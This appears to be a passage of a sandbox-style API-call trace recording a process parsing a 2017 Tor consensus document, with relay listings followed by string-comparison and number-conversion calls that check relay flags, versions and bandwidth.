jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCach" [0119.865] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.865] memchr (_Buf=0x3940e2a, _Val=10, _MaxCount=0x132) returned 0x3940e82 [0119.865] strncmp (_Str1="m I7ecRR0Tj", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.865] strncmp (_Str1="s Exit Fast", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.865] strncmp (_Str1="v Tor 0.3.0", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.865] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.865] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.865] htonl (hostlong=0xa2f748c9) returned 0xc948f7a2 [0119.865] htonl (hostlong=0xc948f7a2) returned 0xa2f748c9 [0119.865] _errno () returned 0x9f07d8 [0119.865] strtol (in: _Str="443", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 443 [0119.865] _errno () returned 0x9f07d8 [0119.865] _errno () returned 0x9f07d8 [0119.865] strtol (in: _Str="80", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 80 [0119.865] _errno () returned 0x9f07d8 [0119.865] strcmp (_Str1="Exit", _Str2="Exit") returned 0 [0119.865] strcmp (_Str1="Fast", _Str2="Exit") returned 1 [0119.865] strcmp (_Str1="Fast", _Str2="Stable") returned -1 [0119.865] strcmp (_Str1="Fast", _Str2="Fast") returned 0 [0119.865] strcmp (_Str1="Guard", _Str2="Exit") returned 1 [0119.865] strcmp (_Str1="Guard", _Str2="Stable") returned -1 [0119.865] strcmp (_Str1="Guard", _Str2="Fast") returned 1 [0119.865] strcmp (_Str1="Guard", _Str2="Running") returned -1 [0119.865] strcmp (_Str1="Guard", _Str2="Named") returned -1 [0119.866] strcmp (_Str1="Guard", _Str2="Valid") returned -1 [0119.866] strcmp (_Str1="Guard", _Str2="Guard") returned 0 [0119.866] strcmp (_Str1="Running", _Str2="Exit") returned 1 [0119.866] strcmp (_Str1="Running", _Str2="Stable") returned -1 [0119.866] strcmp (_Str1="Running", _Str2="Fast") returned 1 [0119.866] strcmp (_Str1="Running", _Str2="Running") returned 0 [0119.866] strcmp (_Str1="Stable", _Str2="Exit") returned 1 [0119.866] strcmp (_Str1="Stable", _Str2="Stable") returned 0 [0119.866] strcmp (_Str1="V2Dir", _Str2="Exit") returned 1 [0119.866] strcmp (_Str1="V2Dir", _Str2="Stable") returned 1 [0119.866] strcmp (_Str1="V2Dir", _Str2="Fast") returned 1 [0119.866] strcmp (_Str1="V2Dir", _Str2="Running") returned 1 [0119.866] strcmp (_Str1="V2Dir", _Str2="Named") returned 1 [0119.866] strcmp (_Str1="V2Dir", _Str2="Valid") returned -1 [0119.866] strcmp (_Str1="V2Dir", _Str2="Guard") returned 1 [0119.866] strcmp (_Str1="V2Dir", _Str2="BadExit") returned 1 [0119.866] strcmp (_Str1="V2Dir", _Str2="Authority") returned 1 [0119.866] strcmp (_Str1="V2Dir", _Str2="Unnamed") returned 1 [0119.866] strcmp (_Str1="V2Dir", _Str2="HSDir") returned 1 [0119.866] strcmp (_Str1="V2Dir", _Str2="V2Dir") returned 0 [0119.866] strcmp (_Str1="Valid", _Str2="Exit") returned 1 [0119.866] strcmp (_Str1="Valid", _Str2="Stable") returned 1 [0119.866] strcmp (_Str1="Valid", _Str2="Fast") returned 1 [0119.866] strcmp (_Str1="Valid", _Str2="Running") returned 1 [0119.866] strcmp (_Str1="Valid", _Str2="Named") returned 1 [0119.866] strcmp (_Str1="Valid", _Str2="Valid") returned 0 [0119.866] strlen (_Str="Tor ") returned 0x4 [0119.866] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.866] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.866] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.866] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.866] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.866] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.866] strlen (_Str="(git-") returned 0x5 [0119.866] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.866] strlen (_Str="Tor ") returned 0x4 [0119.866] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.866] strlen (_Str="(r") returned 0x2 [0119.866] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.866] strlen (_Str="(git-") returned 0x5 [0119.866] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.866] strtol (in: _Str="0.3.0.7", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.7") returned 0 [0119.866] strtol (in: _Str="3.0.7", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.7") returned 3 [0119.866] strtol (in: _Str="0.7", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".7") returned 0 [0119.866] strtol (in: _Str="7", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 7 [0119.867] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.867] strlen (_Str="(git-") returned 0x5 [0119.867] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.867] strlen (_Str="Bandwidth=") returned 0xa [0119.867] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.867] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.867] strstr (_Str="r Neldoreth ABUk3UA9cp8I9+XXeBPvEnVs+o0 2017-08-21 09:58:54 185.13.39.197 443 80\nm IjKmHjHBklzw18501A9gP4XbwGwzazikA4XZHAtyddY\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5740\nr MansikkaMaki04 ABpoc34PraISaJvGDXJn/1XrZyI 2017-08-21 19:11:45 35.196.246.155 9001 9030\nm eebCg4IkvACJGrf4+ma1rHffy223xC2BkxME0JBf+lw\ns Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=20\nr metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache", _SubStr="\nr ") returned="\nr MansikkaMaki04 ABpoc34PraISaJvGDXJn/1XrZyI 2017-08-21 19:11:45 35.196.246.155 9001 9030\nm eebCg4IkvACJGrf4+ma1rHffy223xC2BkxME0JBf+lw\ns Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=20\nr metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 